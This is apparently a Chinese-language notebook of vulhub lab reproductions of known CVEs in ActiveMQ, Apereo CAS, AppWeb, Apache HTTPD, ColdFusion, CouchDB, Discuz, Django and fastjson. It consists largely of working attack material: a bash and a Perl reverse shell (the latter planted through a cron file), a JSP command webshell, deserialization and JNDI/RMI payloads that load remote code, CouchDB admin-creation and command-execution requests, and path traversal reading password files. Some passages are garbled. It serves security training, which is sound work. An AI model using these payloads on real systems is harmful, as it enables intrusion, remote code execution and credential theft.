vulhub
ActiveMQ反序列化漏洞(CVE-2015-5254)
Apache ActiveMQ是(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等。Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码。
运行漏洞环境:
docker-compose up -d
环境运行后,将监听61616和8161两个端口。其中61616是工作端口,消息在这个端口进行传递;
8161是Web管理页面端口。访问http://192.168.33.130:8161/即可看到web管理页面,不过这个漏洞理论上是不需要web的。
漏洞复现
1.漏洞利用过程如下:
a.构造(可以使用ysoserial)可执行命令的序列化对象
b.作为一个消息,发送给目标61616端口
c.访问的Web管理页面,读取消息,触发漏洞
具体如下↓
- 使用jmet进行漏洞利用:
首先下载jmet的jar文件,并在同目录下创建一个external文件夹(否则可能会爆文件夹不存在的错误)。jmet原理是使用ysoserial生成Payload并发送(其jar内自带ysoserial,无需再自己下载),所以我们需要在ysoserial是gadget中选择一个可以使用的,比如ROME。
cd /opt
wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar
mkdir external
- 执行命令
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/sucess" -Yp ROME 192.168.33.130 61616
此时会给目标的ActiveMQ添加一个名为事件的队列,可以我们通过
http://192.168.33.130:8161/admin/browse.jsp?JMSDestination=event 看到这个队列中所有消息:
点击查看这条消息即可触发命令执行
docker exec -it 3db7e4273a60 /bin/bash
说明漏洞利用成功
反弹shell
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -i >& /dev/tcp/192.168.33.130/12340>&1" -Yp ROME 192.168.33.130 61616
参考文章
https://github.com/vulhub/vulhub/blob/master/activemq/CVE-2015-5254/README.zh-cn.md
https://www.cnblogs.com/backlion/p/9970516.html
好像搞错了,应该需要有个攻击机
ActiveMQ任意文件写入漏洞(CVE-2016-3088)
docker-compose up -d
环境监听61616端口和8161端口,其中8161为web控制台端口,本漏洞就出现在web控制台中。
访问http://your-ip:8161/web页面
背景简述
ActiveMQ的web控制台分三个应用,admin、api 和 fileserver,其中admin是管理员页面,api是接口,fileserver是储存文件的接口;admin和api都需要登录后才能使用,fileserver无需登录。
fileserver是一个RESTful API接口,我们可以通过GET、PUT、DELETE等HTTP请求对其中存储的文件进行读写操作,其设计目的是为了弥补消息队列操作不能传输、存储二进制文件的缺陷,但后来发现:
其使用率并不高
文件操作容易出现漏洞
所以,ActiveMQ在5.12.x~5.13.x版本中,已经默认关闭了fileserver这个应用(你可以在conf/jetty.xml中开启之);在5.14.0版本以后,彻底删除了fileserver应用。在测试过程中,可以关注ActiveMQ的版本,避免走弯路。
漏洞详情
本漏洞出现在fileserver应用中,
漏洞原理,就是fileserver支持写入文件(但不解析jsp),同时支持移动文件(MOVE请求)。所以,我们只需要写入一个文件,然后使用MOVE请求将其移动到任意位置,造成任意文件写入漏洞。
文件写入有几种利用方法:
写入webshell
写入cron或ssh key等文件
写入jar或jetty.xml等库和配置文件
写入webshell的好处是,门槛低更方便,但前面也说了fileserver不解析jsp,admin和api需要登录才能访问,所以有点鸡肋;
写入cron或ssh key,好处是直接反弹拿shell,也比较方便,缺点是需要root权限;
写入jar,稍微麻烦点(需要jar的后门),
写入xml配置文件,这个方法比较靠谱,但有个鸡肋点是:我们需要知道activemq的绝对路径。
分别说一下上述几种利用方法。
写入webshell
前面说了,写入webshell,需要写在admin或api应用中,而这俩应用都需要登录才能访问。
默认的ActiveMQ账号密码均为admin,首先访问http://your-ip:8161/admin/test/systemProperties.jsp,查看ActiveMQ的绝对路径:
然后上传webshell:服务器返回204才算成功
PUT /fileserver/66.txt HTTP/1.1
Host: 192.168.33.130:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 120976
<%@ page import=“java.io.*”%>
<%
out.print(“Hello”);
String strcmd=request.getParameter(“passwd”);
String line=null;
Process p=Runtime.getRuntime().exec(strcmd);
BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
while((line=br.readLine())!=null){
out.print(line+"");
}
%>
移动到web目录下的api文件夹(/opt/activemq/webapps/api/s.jsp)中:
MOVE /fileserver/2.txt HTTP/1.1
Destination: file:///opt/activemq/webapps/api/s.jsp
Host: 192.168.33.130:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 0
没有成功,move失败
换个位置,move成功
访问webshell还是失败
写入crontab,自动化弹shell
这是一个比较稳健的方法。
首先上传cron配置文件(注意,换行一定要\n,不能是\r\n,否则crontab执行会失败):
PUT /fileserver/1.txt HTTP/1.1
Host: 192.168.33.130:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 248
*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="10.0.0.1";$p=21;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
将其移动到/etc/cron.d/root:
MOVE /fileserver/1.txt HTTP/1.1
Destination: file:///etc/cron.d/root
Host: 192.168.33.130:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 0
上传ssh
没成功
参考文章
https://blog.csdn.net/weixin_45720618/article/details/113485471
https://github.com/vulhub/vulhub/blob/master/activemq/CVE-2016-3088/README.zh-cn.md
Apereo CAS 4.1 反序列化命令执行漏洞
Apereo CAS是一款Apereo发布的集中认证服务平台,常被用于企业内部单点登录系统。其4.1.7版本之前存在一处 默认密钥 的问题,利用这个默认密钥构造恶意信息触发目标反序列化漏洞,进而执行任意命令。
docker-compose up -d
http://192.168.33.130:8080/cas/login
该漏洞存在于登录的execution参数,使用Burp抓包可以发现该参数值。
漏洞原理实际上是Webflow中使用了默认密钥changeit:(aes算法里的)
public class EncryptedTranscoder implements Transcoder {
private CipherBean cipherBean;
private boolean compression = true;
public EncryptedTranscoder() throws IOException {
BufferedBlockCipherBean bufferedBlockCipherBean = new BufferedBlockCipherBean();
bufferedBlockCipherBean.setBlockCipherSpec(new BufferedBlockCipherSpec("AES", "CBC", "PKCS7"));
bufferedBlockCipherBean.setKeyStore(this.createAndPrepareKeyStore());
bufferedBlockCipherBean.setKeyAlias("aes128");
bufferedBlockCipherBean.setKeyPassword("changeit");
bufferedBlockCipherBean.setNonce(new RBGNonce());
this.setCipherBean(bufferedBlockCipherBean);
}
// ...
我们使用Apereo-CAS-Attack来复现这个漏洞
下载地址
https://github.com/vulhub/Apereo-CAS-Attack/releases/download/v1.0.0/apereo-cas-attack-1.0-SNAPSHOT-all.jar
使用ysoserial的CommonsCollections4生成加密后的Payload:
java -jar apereo-cas-attack-1.0-SNAPSHOT-all.jar CommonsCollections4 “touch /tmp/success”
登录抓包,修改 execution 值为刚生成的payload
可见touch /tmp/success已成功执行:
https://blog.csdn.net/xuandao_ahfengren/article/details/111159308
https://github.com/vulhub/vulhub/blob/master/apereo-cas/4.1-rce/README.zh-cn.md
https://blog.csdn.net/weixin_43571641/article/details/108253852
https://github.com/potats0/CasExp
AppWeb认证绕过漏洞(CVE-2018-8715)
AppWeb是Embedthis Software LLC公司负责开发维护的一个基于GPL开源协议的嵌入式Web Server。
他使用C/C++来编写,能够运行在几乎先进所有流行的操作系统上。当然他最主要的应用场景还是为嵌入式设备提供Web Application容器。
AppWeb可以进行认证配置,其认证方式包括以下三种:
basic 传统HTTP基础认证
digest 改进版HTTP基础认证,认证成功后将使用Cookie来保存状态,而不用再传递Authorization头
form 表单认证
其7.0.3之前的版本中,对于digest和form两种认证方式,如果用户传入的密码为null(也就是没有传递密码参数),appweb将因为一个逻辑错误导致直接认证成功,并返回session。
启动一个带有digest认证的Appweb 7.0.1服务器:docker-compose up -d
使用bp发送构造的数据包
GET / HTTP/1.1
Host: 192.168.33.130:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Authorization: Digest username=admin
Content-Length: 2
因为我们没有传入密码字段,所以服务端出现错误,直接返回了200,且包含一个session:
-http-session-=2::http.session::37b816b3722cdb55833b9e8be8f49c31
设置这个session到bp,即可正常访问需要认证的页面:
Apache HTTPD 换行解析漏洞(CVE-2017-15715)
Apache HTTPD是一款HTTP服务器,它可以通过mod_php来运行PHP网页。其2.4.0~2.4.29版本中存在一个解析漏洞,在解析PHP时,1.php\x0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。
编译及运行漏洞环境:
docker-compose build
docker-compose up -d
上传phpinfo()的php代码,修改文件名为1.php
bp修改包,找到1.php的位置,右键插入byte值为0a
访问上传的文件/1.php%0a,发现能够成功解析,但这个文件不是php后缀,说明目标存在解析漏洞:
Apache HTTPD 多后缀解析漏洞
漏洞复现
环境运行后,访问http://your-ip/uploadfiles/apache.php.jpeg即可发现,phpinfo被执行了,该文件被解析为php脚本。
http://your-ip/index.php中是一个白名单检查文件后缀的上传组件,上传完成后并未重命名。
我们可以通过上传文件名为xxx.php.jpg或xxx.php.jpeg的文件,利用Apache解析漏洞进行getshell。
上传失败,看样子是没得写权限,在后台加了权限后,仍然报这个错误不知道怎么解决,搁浅
咦,我在后台看已经上传成功了
shell连接不上,phpinfo也显示不出来
重新运行了一下,上传成功能正常显示了
也把jpg当php解析了
冰蝎也连接上了
Apache SSI 远程命令执行漏洞
在测试任意文件上传漏洞的时候,目标服务端可能不允许上传php后缀的文件。如果目标服务器开启了SSI与CGI支持,我们可以上传一个shtml文件,并利用<!--#exec cmd="id" -->
语法执行任意命令。
docker-compose up -d
没有复现成功
怀疑是需要更新命令,但是其他环境还是能用docker-compose命令的,不知道啥原因
小事情,恢复一下快照,就好了嘿嘿
上传shell.shtml
内容是<!--#exec cmd="ls" -->
我在bp这里改成id了,到时候结果明显点
访问刚上传的文件,显示出来了
Aria2 任意文件写入漏洞
https://github.com/vulhub/vulhub/blob/master/aria2/rce/README.zh-cn.md
https://www.cnblogs.com/foe0/p/11353506.html
https://www.freebuf.com/vuls/266097.html
Adobe ColdFusion 文件读取漏洞(CVE-2010-2861)
Adobe ColdFusion是美国Adobe公司的一款动态Web服务器产品,其运行的CFML(ColdFusion Markup Language)是针对Web应用的一种程序设计语言。
Adobe ColdFusion 8、9版本中存在一处目录穿越漏洞,可导致未授权的用户读取服务器任意文件。
docker-compose up -d
访问 http://192.168.33.130:8500/CFIDE/administrator/enter.cfm
抓取数据包,带有cookie,refer等信息,建议删除后,再构造数据包 重放
直接访问http://your-ip:8500/CFIDE/administrator/enter.cfm?locale=…/…/…/…/…/…/…/…/…/…/etc/passwd%00en,即可读取文件/etc/passwd:
读取后台管理员密码http://your-ip:8500/CFIDE/administrator/enter.cfm?locale=…/…/…/…/…/…/…/lib/password.properties%00en:
Adobe ColdFusion 反序列化漏洞(CVE-2017-3066)
Adobe ColdFusion中存在java反序列化漏洞。攻击者可利用该漏洞在受影响应用程序的上下文中执行任意代码或造成拒绝服务。
版本:Adobe ColdFusion (2016 release) Update 3及之前的版本,ColdFusion 11 Update 11及之前的版本,ColdFusion 10 Update 22及之前的版本。
docker-compose up -d
等待数分钟时间,环境启动成功,访问http://your-ip:8500/CFIDE/administrator/index.cfm,输入密码vulhub,即可成功安装Adobe ColdFusion。
生成POC
使用ColdFusionPwn工具来生成POC。
下载ColdFusionPwn https://github.com/codewhitesec/ColdFusionPwn/releases/tag/0.0.1
下载ysoserial
【注意】下载的jar包可能因为时间不同,而更新,包名也就不同。注意将命令中的包名,替换为你下载时候的名字
java -cp ColdFusionPwn-0.0.1-SNAPSHOT-all.jar:ysoserial-0.0.6-SNAPSHOT-all.jar com.codewhitesec.coldfusionpwn.ColdFusionPwner -e CommonsBeanutils1 'touch /tmp/success' poc.ser
【再注意】上面的命令在Win10下我没有执行成功,错误提示为错误: 找不到或无法加载主类 com.codewhitesec.coldfusionpwn.ColdFusionPwner
用ubuntu试一下
POC生成于poc.ser文件中
将POC作为数据包body发送给http://your-ip:8500/flex2gateway/amf,Content-Type为application/x-amf:
POST /flex2gateway/amf HTTP/1.1
Host: your-ip:8500
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-amf
Content-Length: 2853
[...poc...]
https://github.com/vulhub/vulhub/blob/master/coldfusion/CVE-2017-3066/README.zh-cn.md
https://blog.csdn.net/JiangBuLiu/article/details/94001479
https://www.freebuf.com/column/200320.html
Atlassian Confluence 路径穿越与命令执行漏洞(CVE-2019-3396)
Atlassian Confluence是企业广泛使用的wiki系统,其6.14.2版本前存在一处未授权的目录穿越漏洞,通过该漏洞,攻击者可以读取任意文件,或利用Velocity模板注入执行任意命令。
https://github.com/vulhub/vulhub/blob/master/confluence/CVE-2019-3396/README.zh-cn.md
https://blog.csdn.net/nex1less/article/details/102783999
CouchDB垂直越权漏洞(CVE-2017-12635)
docker-compose up -d
http://192.168.33.130:5984/_utils/#login
PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: 192.168.33.130:5984
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 94
{
"type": "user",
"name": "vulhub",
"roles": ["_admin"],
"password": "vulhub"
}
发送一次包含两个roles字段的数据包,即可绕过限制:
https://blog.csdn.net/JiangBuLiu/article/details/94027581使用vulhub账号登录成功
https://blog.csdn.net/JiangBuLiu/article/details/94027581
https://www.cnblogs.com/foe0/p/11375757.html
couchdb 任意命令执行漏洞(cve-2017-12636)
可以通过config api修改couchdb的配置query_server,这个配置项在设计、执行view的时候将被运行。
影响版本:小于 1.7.0 以及 小于 2.1.1
需要先有个账号,可结合上一个漏洞进行越权添加账号
curl -X PUT 'http://vulhub:vulhub@192.168.33.130:5984/_config/query_servers/cmd' -d '"id >/tmp/success"'
curl -X PUT 'http://vulhub:vulhub@192.168.33.130:5984/vultest'
curl -X PUT 'http://vulhub:vulhub@192.168.33.130:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'
curl -X POST 'http://vulhub:vulhub@192.168.33.130:5984/vultest/_temp_view?limit=10' -d '{"language":"cmd","map":""}' -H 'Content-Type:application/json'
其中,vulhub:vulhub为管理员账号密码。
第一个请求是添加一个名字为cmd的query_servers,其值为"id >/tmp/success",这就是我们后面待执行的命令。
第二、三个请求是添加一个Database和Document,这里添加了后面才能查询。
第四个请求就是在这个Database里进行查询,因为我将language设置为cmd,这里就会用到我第一步里添加的名为cmd的query_servers,最后触发命令执行。
https://blog.csdn.net/whatday/article/details/106618050
Discuz 7.x/6.x 全局变量防御绕过导致代码执行
由于php5.3.x版本里php.ini的设置里request_order默认值为GP,导致
R
E
Q
U
E
S
T
中
不
再
包
含
_REQUEST中不再包含
REQUEST中不再包含_COOKIE,我们通过在Cookie中传入$GLOBALS来覆盖全局变量,造成代码执行漏洞。
安装
安装成功后,直接找一个已存在的帖子,向其发送数据包,并在Cookie中增加GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();:
GET /viewthread.php?tid=10&extra=page%3D1 HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Cookie: GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();
Connection: close
可见,phpinfo已成功执行:
https://vulhub.org/#/environments/discuz/wooyun-2010-080723/
https://www.secpulse.com/archives/2338.html
Discuz!X ≤3.4 任意文件删除漏洞
https://vulhub.org/#/environments/discuz/x3.4-arbitrary-file-deletion/
https://www.cnblogs.com/rabbittt/p/13891301.html
https://blog.csdn.net/JiangBuLiu/article/details/94051762
访问http://your-ip/install/来安装discuz,数据库地址填写db,其他保持默认即可:
一步到达:http://your-ip/install/index.php?step=3&install_ucenter=yes
访问http://your-ip/robots.txt可见robots.txt是存在的:
注册用户http://your-ip/member.php?mod=register
在个人设置页面http://your-ip/home.php?mod=spacecp找到自己的formhash和Cookie
复制cookie
带上自己的Cookie、formhash发送如下数据包:
提交成功之后,刷新,用户资料修改页面上的出生地就会显示成下图所示的状态:
新建一个upload.html,代码如下,将其中的[your-ip]改成discuz的域名,[form-hash]改成你的formhash:
<form action="http://192.168.33.130/bbs2/home.php?mod=spacecp&ac=profile&op=base&deletefile[birthprovince]=aaaaaa"method="POST" enctype="multipart/form-data">
<input type="file"name="birthprovince" id="file" />
<input type="text"name="formhash" value="4f0a90ae"/></p>
<input type="text"name="profilesubmit" value="1"/></p>
<input type="submit"value="Submit" />
</from>
上传个图片
Django debug page XSS漏洞(CVE-2017-12794)
https://vulhub.org/#/environments/django/CVE-2017-12794/
https://www.cnblogs.com/huangxiaosan/p/14318705.html
500页面中可能存在的一个XSS漏洞
Django的模型最终是操作数据库,数据库中具体出现什么错误,是Django无法100%预测的。
启动漏洞环境 docker-compose up -d
http://192.168.33.130:8000/create_user/?username=%3Cscript%3Ealert(1)%3C/script%3E
刷新请求,弹出alert
原理:
在使用Postgres数据库并触发异常的时候,psycopg2会将字段名和字段值全部抛出。那么,如果字段值中包含我们可控的字符串,又由于0x02中说到的,这个字符串其实就会被设置成__cause__,最后被显示在页面中。
所以我们假设有如下场景:
用户注册页面,未检查用户名
注册一个用户名为<script>alert(1)</script>的用户
再次注册一个用户名为<script>alert(1)</script>的用户
触发duplicate key异常,导致XSS漏洞
Django < 2.0.8 任意URL跳转漏洞(CVE-2018-14574)
https://github.com/vulhub/vulhub/blob/master/django/CVE-2018-14574/README.zh-cn.md
https://blog.csdn.net/qq_34377830/article/details/111502524
Django默认配置下,如果匹配上的URL路由中最后一位是/,而用户访问的时候没加/,Django默认会跳转到带/的请求中。(由配置项中的django.middleware.common.CommonMiddleware、APPEND_SLASH来决定)。
在path开头为//example.com的情况下,Django没做处理,导致浏览器认为目的地址是绝对路径,最终造成任意URL跳转漏洞。
该漏洞利用条件是目标URLCONF中存在能匹配上//example.com的规则。
编译及运行一个基于django 2.0.7的网站:
docker-compose build
docker-compose up -d
环境启动后,访问http://192.168.33.130:8000
即可查看网站首页。
访问http://192.168.33.130:8000//www.example.com
,即可返回是301跳转到//www.example.com/:
我这个docker环境启动不来,就不演示了
Django JSONField/HStoreField SQL注入漏洞(CVE-2019-14234)
https://github.com/vulhub/vulhub/blob/master/django/CVE-2019-14234/README.zh-cn.md
https://www.bilibili.com/read/cv4579255/
https://blog.csdn.net/m0_48520508/article/details/107639153
https://mp.weixin.qq.com/s?__biz=MzA4NzUwMzc3NQ==&mid=2247483996&idx=1&sn=4254dc0a54003cccb29dd42935f8ccea&chksm=903924aca74eadba5f04112b1a287f22dfbd796481012102c712ce2d66ec8cb6ff56ffbe2434&scene=21#wechat_redirect
Django GIS SQL注入漏洞(CVE-2020-9402)
https://xz.aliyun.com/t/7403
https://blog.csdn.net/qq_32171761/article/details/109290370
https://github.com/vulhub/vulhub/blob/master/django/CVE-2020-9402/README.zh-cn.md
DNS域传送漏洞
https://github.com/vulhub/vulhub/blob/master/dns/dns-zone-transfer/README.zh-cn.md
https://blog.csdn.net/c465869935/article/details/53444117
docker daemon api 未授权访问漏洞
http://luckyzmj.cn/posts/a398fa24.html
Drupal < 7.32 “Drupalgeddon” SQL注入漏洞(CVE-2014-3704)
https://github.com/vulhub/vulhub/blob/master/drupal/CVE-2014-3704/README.zh-cn.md
https://blog.csdn.net/angry_program/article/details/104620273
Drupal Core 8 PECL YAML 反序列化任意代码执行漏洞(CVE-2017-6920)
https://vulhub.org/#/environments/drupal/CVE-2017-6920/
https://paper.seebug.org/334/
Drupal Drupalgeddon 2 远程代码执行漏洞(CVE-2018-7600)
https://github.com/vulhub/vulhub/blob/master/drupal/CVE-2018-7600/README.zh-cn.md
http://blog.nsfocus.net/cve-2018-7600-analysis/
fastjson 1.2.24 反序列化导致任意命令执行漏洞
fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。
访问
curl http://192.168.33.130:8090/ -H "Content-Type: application/json" --data '{"name":"shannon", "age":18}'
JDK环境
Maven环境
攻击机:192.168.33.129 kali
靶机:192.168.33.130 ubuntu
RMI服务:192.168.33.129
参考
https://blog.csdn.net/SuPejkj/article/details/109190901
https://www.freebuf.com/articles/web/242712.html
https://www.cnblogs.com/ssan/p/12844868.html
创建文件TouchFile.java
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"ping", "xxx.dnslog.cn"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
执行 javac TouchFile.java
把编译好的class文件传到攻击机kali
并在class文件所在的目录,Python起一个http服务。
python -m SimpleHTTPServer 4444 # 4444是端口,随便设置只要不冲突就可以
使用marshalsec项目,启动RMI服务,监听9999端口并加载远程类TouchFile.class
git clone https://github.com/mbechler/marshalsec.git
下载完成后cd进入到marshalsec项目文件里,用刚刚安装好的maven环境执行如下命令进行编译,
mvn clean package -DskipTests
编译成功会生成一个target目录,出现如下编译成功。
成功是这样的,target目录下会生成marshalsec-0.0.3-SNAPSHOT-all.jar文件。
接下来开启RMI服务:
进入到编译好的文件中,执行如下命令:
cd target/
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://刚刚上传class文件的外网ip或域名/#TouchFile" 9999
bp执行payload
POST / HTTP/1.1
Host: 192.168.33.130:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 167
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.142.129:9999/TouchFile",
"autoCommit":true
}
}